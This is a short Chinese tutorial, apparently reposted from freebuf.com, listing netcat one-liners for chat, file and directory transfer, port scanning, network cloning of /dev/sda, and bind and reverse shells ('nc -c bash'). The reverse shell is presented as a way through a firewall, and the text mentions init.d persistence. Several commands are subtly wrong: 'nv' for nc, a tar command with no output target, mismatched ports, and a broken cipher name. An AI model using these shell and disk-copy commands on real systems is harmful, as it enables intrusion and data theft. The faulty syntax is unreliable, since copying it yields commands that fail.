如何使用nc进行通信 – 作者:dng1314

使用nc进行通信    传输文本信息

A:nc -l -p 4444(接收端)

B:nc -nv 1.1.1.1 4444 (发送端)

可以用于 电子取证的nc侦听

1608100425_5fd9aa49b8d37238d5f3a.png!small

侦听导出重定向的文件:

A: nc -l -p 4444 > ps.txt(接收端)

B: ps aux | nc -nv 1.1.1.1 4444 -q 1 (发送端)

1608100435_5fd9aa535d6c854db8a52.png!small

传输文件:

A: nc -lp 333 > 2.mp4     (接收端)

B: nc -nv 1.1.1.1 333 < a.mp4   (发送端)

等别人来下载

A: nc -lp 333 < 2.mp4 -q 1 (发送端)

B: nc -nv 1.1.1.1 444 > 2.mp4  (接收端)

传输目录

A: tar -cvf music/ | nv -lp 333 -q 1  (发送端)

B: nc -nv 1.1.1.1 333 | tar -xvf –

加密传文件

A: nc -lp 333 | mcrypt –flush -Fbqd -a rijn dael-256 -m ecb > 1.mp4 (接收端)

B: mcrypt -flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1

(发送端)

NC  端口扫描

nc -nvz 1.1.1.1 1-65535

nc -vnzu 1.1.1.1 1-1024

NC  远程克隆硬盘

A: nc -lp 333 | dd of = /dev/sda

B: dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1

NC  bash命令控制  (正向)

A:  nc -lp 333 -c bash  (被控制端)

B:  nc -nv 1.1.1.1 333    (控制端)

NC  bash命令控制  (反向) (过防火墙)

A:  nc -lp 333   (控制端)

B:  nc -nv 1.1.1.1 333 -c bash   (被控制端)

(在windows下,把bash改成cmd)

/etc/init.d

update -rc.d

NC   NCAT  (实操失败,ncat安装问题)(这个是有加密的,嗅探不到)

nc缺乏加密和身份验证的能力

ncat包含于nmap工具包中

A:  ncat nact -c bash –allow 1.1.1.1 -vnl 333 –ssl

B:  ncat -nv 1.1.1.1 333 –ssl

不同系统/平台的nc参数功能不尽相同

来源:freebuf.com 2020-12-16 14:34:51 by: dng1314

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论